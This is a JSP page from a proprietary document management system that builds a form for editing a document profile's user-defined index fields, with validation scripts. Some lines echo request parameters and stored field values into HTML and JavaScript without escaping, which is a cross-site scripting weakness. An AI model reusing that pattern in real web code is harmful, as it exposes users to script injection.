<%
/*
 * @(#)EditSysUserDefinedIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditSysUserDefinedIndex.jsp

  This class is reflecting business logic uses.

    @author           Phoebe Wong
    @company          DCIVision Limited
    @creation date    04/08/2003
    @version          $Revision: 1.70.2.16 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintSysUserDefinedIndexForm" scope="request" class="com.dcivision.framework.web.MaintSysUserDefinedIndexForm"/>

<%
  String      LIST_NAME = "userDetailList";
  
  String[][]  LABEL_MAP = { {" ", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_number",GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_name", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_type", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_mandatory", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_remove",GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.field_value_suggest", GlobalConstant.NOT_AVAILABLE}
                          };


  int numOfCustomization = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_UDF_CUSTOMIZATION_NO)).intValue();
    int tmpListTotal=0;
  int listSize=0;
  int newFieldSize=0;
    Integer opNewField=new Integer(1);
    Integer defaultFieldSize=new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_USER_DEFINED_FIELD_SIZE));

    if (request.getAttribute("newFieldsSize") != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  }

  if (request.getAttribute("listSize") != null){
    listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }

    if (request.getParameter("newField") != null){
        opNewField = new Integer(request.getParameter("newField"));
    }

  List userDetailList = maintSysUserDefinedIndexForm.getUserDetailList();

  if (maintSysUserDefinedIndexForm.getUserDetailList()!=null) {
    listSize=userDetailList.size();
  }

  String[][] tmpPulldownMap = { {"dms.label.field_type_string", SysUserDefinedIndexDetail.STRING_FIELD},
                                {"dms.label.field_type_date", SysUserDefinedIndexDetail.DATE_FIELD },
                                {"dms.label.field_type_num", SysUserDefinedIndexDetail.NUMBER_FIELD},
                                {"dms.label.field_type_select", SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE}
                              };
  String[][] PULLDOWN_MAP = new String[tmpPulldownMap.length + numOfCustomization][];

  String[][] scanMethod = { {"dms.scan.folder_create_by_udf",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_UDF},
//                            {"dms.scan.folder_create_by_udf_value",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_UDF_VALUE},
                            {"dms.scan.folder_create_by_udfby_date",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_UDF_BY_DATE},
                            {"dms.scan.folder_create_by_date",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_DATE},
//                            {"dms.scan.folder_create_by_udf_value_by_udf_by_date",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_UDF_VALUE_BY_UDF_BY_DATE},
//                            {"dms.scan.folder_create_by_pdf_name",DmsOperationConstant.SCAN_FOLDER_CREATION_BY_DPF_NAME},
//                            {"dms.scan.folder_demo_dp1_date",DmsOperationConstant.SCAN_FOLDER_DEMO_DP1_DATE},
//                            {"dms.scan.folder.demo_dp1_dp2_date",DmsOperationConstant.SCAN_FOLDER_DEMO_DP1_DP2_DATE},
                            {"dms.scan.folder_create_by_loginName",DmsOperationConstant.SCAN_FOLDER_CREATE_BY_LOGINNAME}
                          };

  for (int i = 0; i < tmpPulldownMap.length; i++) {
    PULLDOWN_MAP[i] = tmpPulldownMap[i];
  }

  for (int i=0; i<numOfCustomization; i++) {
    PULLDOWN_MAP[tmpPulldownMap.length+i] = new String[] {("dms.label.udf_cust"+(i+1)), ("CUST"+(i+1))};
  }

  String navMode = (String) maintSysUserDefinedIndexForm.getNavMode();
%>

<script language="Javascript">
<!--
function custOpDisplaySeq(frm) {
  if (!custValidate()) {
    return(false);
  }
  var url = "<%=request.getContextPath()%>"+"/dms/MaintDmsDisplaySeq.do";
  var name = "DCIVisionPopupDmsDisplaySqe";
  var popW = "600";
  var popH = "350";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);

}

function custOpSave(frm) {
  if (!custValidate()) {
    return(false);
  }
  return OpSave();
}

function custOpSaveAndNew(frm) {
  if (!custValidate()) {
    return(false);
  }
  return OpSaveAndNew();
}

function custValidate() {
  var intValue;
  var bDeleteNotChecked = false;
  intValue=parseInt(document.maintSysUserDefinedIndexForm.newField.value);

  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintSysUserDefinedIndexForm.newField.focus();
    return(false);
  }

  var genKeyTemplate = document.maintSysUserDefinedIndexForm.genKeyTemplate;
  var genKeyNumMax = document.maintSysUserDefinedIndexForm.genKeyNumMax;
  if (genKeyTemplate.value!='') {
    if (genKeyTemplate.value.indexOf('[') < 0) {
      alert("'[' character is missing from the template");
      return false;
    }
    if (genKeyTemplate.value.indexOf(']') < 0) {
      alert("']' character is missing from the template");
      return false;
    }
    if(genKeyTemplate.value.indexOf('[')>genKeyTemplate.value.indexOf(']')){
      alert("<bean:message key='dms.message.profile_template_usage'/>");
      return false;
    }
    if (genKeyNumMax.value=='') {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.profile_auto_generate_max"))%>");
      return false;
    }
  }

    //Add By Jim Zhou       2006/10/13      EIP-268
    if (genKeyNumMax.value > 2147483647) {
        alert("<bean:message key='errors.over_range' arg0='Running Reference Number' />");
        return false;
    }
    //Add End

  var tmpListSize=document.maintSysUserDefinedIndexForm.listSize.value;
  
  for (i = 0; i < tmpListSize; i++) { // Trim all fields name.
  	var candidateField = document.maintSysUserDefinedIndexForm["definedField_" + i];
  	if (candidateField && candidateField.value) {
  		candidateField.value = candidateField.value.trim();
  	}
  }

  for (i=0; i<tmpListSize; i++){
    var tmp1=eval("document.maintSysUserDefinedIndexForm.definedField_"+ i +".value");

    if (eval("!document.maintSysUserDefinedIndexForm.delete_"+i+".checked")) {
      //bug 5240 fix start
      //if not checked, field name is required to fill. lee.lv/bug 5240/06-05-08
      if (tmp1=='' || tmp1==' ') {
        alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", "Field Name")%>");
        var txtobj = eval("document.maintSysUserDefinedIndexForm.definedField_"+ i);
        txtobj.focus();
        return false;
      }
      //bug 5240 fix end
      bDeleteNotChecked = true;
    }

    for (j=i+1; j<tmpListSize; j++){
      var tmp2=eval("document.maintSysUserDefinedIndexForm.definedField_"+ j +".value");
      if ((i!=j) && (tmp1==tmp2) && tmp1!="") {
          alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.DUPLICATE_FIELD_NAME)%>");
          return (false);
      }
    }
  }

  if (bDeleteNotChecked == false) {
    alert("<bean:message key='dms.message.no_field_defined'/>");
    return false;
  }

  document.maintSysUserDefinedIndexForm.newField.value = intValue;
  return(true);
}

function opAddFields() {
  var intValue;
  intValue=parseInt(document.maintSysUserDefinedIndexForm.newField.value);
  document.maintSysUserDefinedIndexForm.newField.value = intValue;

  if (isNaN(intValue) || intValue<0 ) {
    document.maintSysUserDefinedIndexForm.newField.value = "";
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintSysUserDefinedIndexForm.newField.focus();
    return(false);
  }
  <%
  int maxNoOfIndexField = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_MAX_INDEX_FIELDS)).intValue();
  %>

   var tmplistSize1 = parseInt(document.maintSysUserDefinedIndexForm.listSize.value);
   //alert(<%=maxNoOfIndexField%>);
   if ((intValue+tmplistSize1)>(<%=maxNoOfIndexField%>)){
      alert("<bean:message key='dms.message.exceed_max_index_field' arg0='<%=String.valueOf(maxNoOfIndexField)%>' />");
      document.maintSysUserDefinedIndexForm.newField.focus();
      return(false);
   }

  document.maintSysUserDefinedIndexForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  var listSize = parseInt(document.maintSysUserDefinedIndexForm.listSize.value, 10);
  for (var i = 0; i < listSize; i++) {
    document.maintSysUserDefinedIndexForm.elements['delete_' + i].checked = false;
  }
  document.maintSysUserDefinedIndexForm.submit();
  return(false);
}

function opOrderFields() {
  var intValue;
  intValue=parseInt(document.maintSysUserDefinedIndexForm.newField.value);

  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintSysUserDefinedIndexForm.newField.focus();
    return(false);
  }


   var tmplistSize1 = parseInt(document.maintSysUserDefinedIndexForm.listSize.value);
   //alert(<%=maxNoOfIndexField%>);
   if ((intValue+tmplistSize1-1)>(<%=maxNoOfIndexField%>)){
      alert("<bean:message key='dms.message.exceed_max_index_field' arg0='<%=String.valueOf(maxNoOfIndexField)%>' />");
      document.maintSysUserDefinedIndexForm.newField.focus();
      return(false);
   }

  document.maintSysUserDefinedIndexForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  var listSize = parseInt(document.maintSysUserDefinedIndexForm.listSize.value, 10);
  //for (var i = 0; i < listSize; i++) {
    //document.maintSysUserDefinedIndexForm.elements['delete_' + i].checked = false;
  //}
  document.maintSysUserDefinedIndexForm.fieldsOrder.value="true";
  document.maintSysUserDefinedIndexForm.submit();
  return(false);
}

function editFieldValue(udfDetailID, fieldValue){
  if (eval("document.maintSysUserDefinedIndexForm.definedFieldValue_"+udfDetailID+".value")!=''){
  fieldValue = eval("document.maintSysUserDefinedIndexForm.definedFieldValue_"+udfDetailID+".value");

  }
  var url = "about:blank";
  var name = "DCIVisionPopupDmsUDFFieldValue";
  var popW = "450";
  var popH = "500";
  var feature = "scrollbars=yes,resizable=yes";

  OpenCenteredPopup(url, name, popW, popH, feature);

  document.udfValue.fieldValue.value=fieldValue;
  document.udfValue.formName.value='maintSysUserDefinedIndexForm';
  document.udfValue.userDefinedFieldDetailID.value=udfDetailID;
  document.udfValue.target="DCIVisionPopupDmsUDFFieldValue";
  document.udfValue.UDFFieldID.value=document.maintSysUserDefinedIndexForm.ID.value;
  document.udfValue.submit();

  return false;
}

function hideBlock(b) {
  FindObj(b).style.display = "none";
}

function showBlock(b) {
  FindObj(b).style.display = "block";
}

function getUDFSelectField(numOfField){
  var fieldType;
  if(eval("document.maintSysUserDefinedIndexForm.definedFieldType_"+numOfField+".value")=='<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>'){
    showBlock("searchPanelDiv"+numOfField);
  }else{
    hideBlock("searchPanelDiv"+numOfField);
  }
}


function showHideCheckBox(selectId,valueSuggestId){
 try{
    if (document.getElementById(selectId).value == "S"){
        document.getElementById(valueSuggestId).style["display"] = "";
      } else {
          document.getElementById(valueSuggestId).style["display"] = "none";
      }
 }catch(e){}

}

function showHideValueSuggestCheckBox(selectId,valueSuggestId){
    if (document.getElementById(selectId).value == "S"){
        document.getElementById(valueSuggestId).style["display"] = "";
        document.getElementById("sub"+valueSuggestId).checked = "checked";
    } else {
        document.getElementById(valueSuggestId).style["display"] = "none";
        document.getElementById("sub"+valueSuggestId).checked = "";
    }
}
//joan.xiong add code for bug EIP-1375 by 2007/01/04
function getRetentionValue(year,month,day,priority,description,actionName){
    for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.periodDay.value=day;
  frm.periodMonth.value=month;
  frm.periodYear.value=year;
  frm.priority.value=priority;
  frm.retentionDescription.value=description;
  frm.actionName.value=actionName;
}//joan.xiong add code end
-->
</script>
<%try{%>
<html:form action="dms/MaintDocumentProfile" styleClass="form-style-2">
<html:javascript formName="maintSysUserDefinedIndexForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   DmsDocumentDetailDAObject dmsDocumentDetailDAO=new DmsDocumentDetailDAObject(sessionContainer,conn);
   boolean hasDocUsingIndex=dmsDocumentDetailDAO.checkExistByUDFID(TextUtility.parseIntegerObj(maintSysUserDefinedIndexForm.getID()));
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='objectType' value='<%=GlobalConstant.OBJECT_TYPE_DOCUMENT%>'/>
<input type="hidden" name="fieldsOrder">

<!-- joan.xiong add code for bug EIP-1375 by 2007/01/04 -->
<input type="hidden" name="periodDay" value='<%=request.getParameter("periodDay")%>'>
<input type="hidden" name="periodMonth" value='<%=request.getParameter("periodMonth")%>'>
<input type="hidden" name="periodYear" value='<%=request.getParameter("periodYear")%>'>
<input type="hidden" name="priority" value='<%=request.getParameter("priority")%>'>
<input type="hidden" name="retentionDescription" value='<%=request.getParameter("retentionDescription")%>'>
<input type="hidden" name="actionName" value='<%=request.getParameter("actionName")%>'>
<!-- joan.xiong add code end -->

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    <layout:returnButton className="btn-standard" returnURL='<%="ListDocumentProfile.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </div>
</div>

<div class="generalContainer">
		<div class="wrapperContainer-clearfix">
<table width="100%">
  <br>
  <layout:sectionHeader name="dms.label.sys_info"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="dms.label.profile_name"/>:&nbsp;</td>
    <td class="formFieldSmall"  style="word-break: break-all">
      <html:text property="userDefinedType" size='40' maxlength="40"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key="dms.label.profile_desc"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="description" cols='50' rows='4' textlimit="200"/></td>
  </tr>
  <% if (!Utility.isEmpty(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_UDF_SUPPORT_AUTO_GENERATE))){ %>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key="dms.label.profile_auto_generate_template"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="genKeyTemplate" size='40' maxlength="100"/><br>
      <font class="bodyVerySmall"><bean:message key='dms.message.profile_template_usage'/></font>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key="dms.label.profile_auto_generate_max"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:integer property="genKeyNumMax"/><br>
      <font class="bodyVerySmall"><bean:message key='dms.message.profile_number_usage'/></font>
    </td>
  </tr>
  <%} else {%>
<html:hidden property='genKeyNumMax'/>
<html:hidden property='genKeyTemplate'/>
  <%}%>
  <%boolean enableScan=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SCAN_ENABLE);
    if(enableScan){
  %>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key="dms.label.override_scan_folder"/>:&nbsp;</td>
    <td class="formFieldSmall">
      <dms:folderPicker property="dmsScanFolderPath" hiddenRootID="dmsRootID" hiddenParentID="dmsParentID" hiddenRootIDValue="<%=TextUtility.noNull(maintSysUserDefinedIndexForm.getDmsRootID())%>" hiddenParentIDValue="<%=TextUtility.noNull(maintSysUserDefinedIndexForm.getDmsParentID())%>" size="50" refreshCopyMove="false" allowCompoundDoc="false" allowPaperDoc="false"/><br>
      <font class="bodyVerySmall">(<bean:message key='dms.label.override_scan_folder_desc'/>)</font>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="dms.label.scan_folder_create_type"/></td>
    <td class="formFieldSmall">
      <html:select property="dmsScanFolderCreationType">
      <html:options stringArray='<%=scanMethod%>'/>
      </html:select>
    </td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
  </tr>
  <tr>
    <td colspan="2">
      <layout:sectionHeader name="dms.label.new_fields" mandatory='false'/>
    </td>
  </tr>
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width='65%'nowrap>
          </td>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
          <td align="right" nowrap>&nbsp;
            <bean:message key='dms.label.new_field_label'/>&nbsp;
          </td>
          <td>
            <nobr>
              <input type="text" name="newField" value="<%=opNewField%>" size='1' style='font-size:11px'>
              <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
            </nobr>
          </td>
          <%}%>
        </tr>
      </table>
    </td>
  </tr>

  <tr>
    <td colspan="2" align="center">
      <div id="dataGrid" class="listTable">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <layout:columnHeader form="maintSysUserDefinedIndexForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=maintSysUserDefinedIndexForm.getSortAttribute()%>" sortOrder="<%=null%>" copyColumn="false" checkColumn="false" editColumn="false"/>
        </tr>
        <!-- Header start -->
        <%
        if (listSize==0 && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
          tmpListTotal=defaultFieldSize.intValue();
          for (int i=0; i<defaultFieldSize.intValue(); i++) {
        %>
        <tr>
          <td class="greyD" align="right"><%=i+1%>:&nbsp;</td>
          <td align="left"><nobr>
            <input type="hidden" name="definedFieldID_<%=i%>" value="">
            <input type="hidden" name="disPlaySeq_<%=i%>" value="">
            <input type="text" name="definedField_<%=i%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
            </nobr>
          </td>
          <td nowrap="nowrap">
            <nobr>
            <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
            <select id="definedFieldType_<%=i%>" name="definedFieldType_<%=i%>" onchange='getUDFSelectField(<%=i%>);showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>")'>
            <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
              <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
            <%}%>
            </select>
            <%}else{%>
            <select id="definedFieldType_<%=i%>" name="definedFieldType_<%=i%>" onchange='getUDFSelectField(<%=i%>);showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>")'>
            <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
              <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
            <%}%>
            </select>
            <%}%>
            <div id="searchPanelDiv<%=i%>">
            <a href='#' onClick='return(editFieldValue(<%=i%>, ""))'><html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/></a>
            </div>
            <script language="Javascript">
            hideBlock("searchPanelDiv<%=i%>");
            </script>
            <input type="hidden" name="definedFieldValue_<%=i%>" />
            </nobr>
          </td>
          <td>
            <input type="checkbox" name="mandatory_<%=i%>" value="Mandatory" >
          </td>
          <td>
            <input type="checkbox" name="delete_<%=i%>" value="Delete" >
          </td>
          <td>
            <span id="value_suggest_<%=i%>" ><input id="subvalue_suggest_<%=i%>" type="checkbox" name="subvalue_suggest_<%=i%>" value="ValueSuggest"  ></span>
            <script language="javascript">
            <!--
              showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>");
            -->
            </script>
          </td>
        </tr>
        <%
          }
        }
        %>
        <!-- Header end -->
        
        <!-- Fileld Coulmn start -->
        <%
        for (int i=0; i<listSize; i++) {
          if (userDetailList.get(i)!=null) {
            SysUserDefinedIndexDetail indexDetail = (SysUserDefinedIndexDetail) userDetailList.get(i);
            String opMandatory="";
            String opValueSuggest="";
            String opDelete="";
            String opDateField="";
            if ("Y".equals(indexDetail.getMandatory())) {
              opMandatory = " checked";
            }
            if ("Y".equals(indexDetail.getValueSuggest())) {
                opValueSuggest = " checked";
            }
            if ("Y".equals(indexDetail.getDelete())){
              opDelete = " checked";
            }
        %>
        <tr>
          <td class="greyD" align="right"><%=i+1%>:&nbsp;</td>
          <td align="left">
            <input type="hidden" name="definedFieldID_<%=i%>" value="<%=indexDetail.getID()%>">
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%=indexDetail.getFieldName()==null? "":indexDetail.getFieldName().replaceAll("\"", "&quot;")%>
              <input type="hidden" name="definedField_<%=i%>" value='<%=indexDetail.getFieldName()==null? "":TextUtility.htmlEncode(indexDetail.getFieldName())%>'>
            <%} else {%>
              <input type="hidden" name="disPlaySeq_<%=i%>" value="<%=indexDetail.getDisplaySeq()%>">
              <input type="text" name="definedField_<%=i%>" value='<%=indexDetail.getFieldName()==null? "":TextUtility.htmlEncode(indexDetail.getFieldName())%>' size="25" maxlength="255">
            <%}%>
          </td>
          <td nowrap="nowrap">
            <nobr>
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
                <%if (PULLDOWN_MAP[k][1].equals(indexDetail.getFieldType())) {%>
                  <bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
                  <%if (SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(indexDetail.getFieldType())) {
                    String message = TextUtility.escapeJSString(indexDetail.getFieldValue());
                    if (Utility.isEmpty(message)){
                      message = "";
                    } else {
                      message = message.replaceAll(";", "\n");
                      message = message.replaceAll("\r", "");
                    }
                    if (!Utility.isEmpty(message)){%>
                    <html:img  src='IconMsgInfo.gif' border='0' align='absmiddle' alt='<%=message%>'/>
                  <%}%>
                  <%}%>
                <%}%>
              <%}%>
            <%} else {%>
              <select id="definedFieldType_<%=i%>" name="definedFieldType_<%=i%>" onchange='getUDFSelectField(<%=i%>);showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>")'>
              <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
                <%String opSelected = PULLDOWN_MAP[k][1].equals(indexDetail.getFieldType()) ? " selected" : "";%>
                <option value="<%=PULLDOWN_MAP[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
              <%}%>
              </select>
              <span id="searchPanelDiv<%=i%>"  style ="display:<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(indexDetail.getFieldType())?"block":"none"%>">
                <a href='#' onClick='return(editFieldValue(<%=i%>, "<%=indexDetail.getFieldValue()%>"))'>
                  <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
                </a>
              </span>

              <input type="hidden" name="definedFieldValue_<%=i%>" value="<%=indexDetail.getFieldValue()%>"/>
            <%}%>
            </nobr>
          </td>
          <td>
            <input type="checkbox" name="mandatory_<%=i%>" value="Mandatory"<%=opMandatory%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>
          </td>
          <td>
            <input type="checkbox" name="delete_<%=i%>" value="Delete" <%=opDelete%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>
          </td>
          <td>
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <span id="value_suggest_<%=i%>" ><input id="subvalue_suggest_<%=i%>" type="checkbox" name="subvalue_suggest_<%=i%>" value="ValueSuggest"<%=opValueSuggest%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>></span>
              <script language="javascript">
              <!--
                showHideCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>");
              -->
              </script>
            <%} else {%>
              <%if ("S".equals(indexDetail.getFieldType())) {%>
                <span id="value_suggest_<%=i%>" ><input id="subvalue_suggest_<%=i%>" type="checkbox" name="subvalue_suggest_<%=i%>" value="ValueSuggest"<%=opValueSuggest%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>></span>
              <%}%>
            <%}%>
          </td>
        </tr>
        <%
          }//end of "if (userDetailList.get(i)!=null) {"
        }//end of "for (int i=0; i<listSize; i++) {"
        %>

        <%
        if (newFieldSize!=0) {
          for (int i=listSize; i<newFieldSize; i++) {
        %>
        <tr>
          <td class="greyD" align="right"><%=i+1%>:&nbsp;</td>
          <td align="left">
            <nobr>
            <input type="hidden" name="definedFieldID_<%=i%>" value="">
            <input type="hidden" name="disPlaySeq_<%=i%>" value="">
            <input type="text" name="definedField_<%=i%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
            </nobr>
          </td>
          <td>
            <select name="definedFieldType_<%=i%>" onchange='getUDFSelectField(<%=i%>);showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>")'>
            <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
              <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/></option>
            <%}%>
            </select>
            <span id="searchPanelDiv<%=i%>" style ="display:none">
            <a href='#' onClick='return(editFieldValue(<%=i%>, ""))'>
              <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
            </a>
            </span>
            <input type="hidden" name="definedFieldValue_<%=i%>" />
          </td>
          <td>
            <input type="checkbox" name="mandatory_<%=i%>" value="Mandatory" >
          </td>
          <td>
            <input type="checkbox" name="delete_<%=i%>" value="Delete" >
          </td>
          <td>
            <span id="value_suggest_<%=i%>" >
              <input id="subvalue_suggest_<%=i%>" type="checkbox" name="subvalue_suggest_<%=i%>" value="ValueSuggest"  >
            </span>
            <script language="javascript">
            <!--
              showHideValueSuggestCheckBox("definedFieldType_<%=i%>","value_suggest_<%=i%>");
            -->
            </script>
          </td>
        </tr>
        <%
          }
          tmpListTotal=newFieldSize;
        }

        if (tmpListTotal < listSize) {
          tmpListTotal=listSize;
        }
        %>
        <!-- Fileld Coulmn end -->
      </table>
    </div>
    </td>
  </tr>

  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
  <tr>
  <td colspan="2">
    <html:standardButton label="dms.label.display_order" onClick="return custOpDisplaySeq()"/>
  </td>
  </tr>
  <%}%>
  <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
  <input type="hidden" name="listSize" value="<%=tmpListTotal%>">
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
</table>
</div>
</div>

<div class="generalBottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave()"/>
      <html:standardButton label="common.label.more" onClick="return custOpSaveAndNew()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintSysUserDefinedIndexForm.getOpMode()) && !(TextUtility.parseInteger(maintSysUserDefinedIndexForm.getID()) < 0) ) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintDocumentProfile.do?navMode=E&ID=${maintSysUserDefinedIndexForm.ID}"/>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
     <% if(!hasDocUsingIndex){%>
      <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
     <%}else{%>
      <html:standardButton label="common.label.delete" disable="true"/>
     <%}%>
    </logic:equal>
    </div>
</div>

</div>


</html:form>
<form name="udfValue" method="post" action="<%=request.getContextPath()%>/dms/MaintSysUdfFieldValue.do" target="DCIVisionPopupDmsUDFFieldValue" onsubmit="return(false);">
<input type="hidden" name="fieldValue" value="xx">
<input type="hidden" name="userDefinedFieldDetailID">
<input type="hidden" name="formName">
<input type="hidden" name="UDFFieldID">
</form>

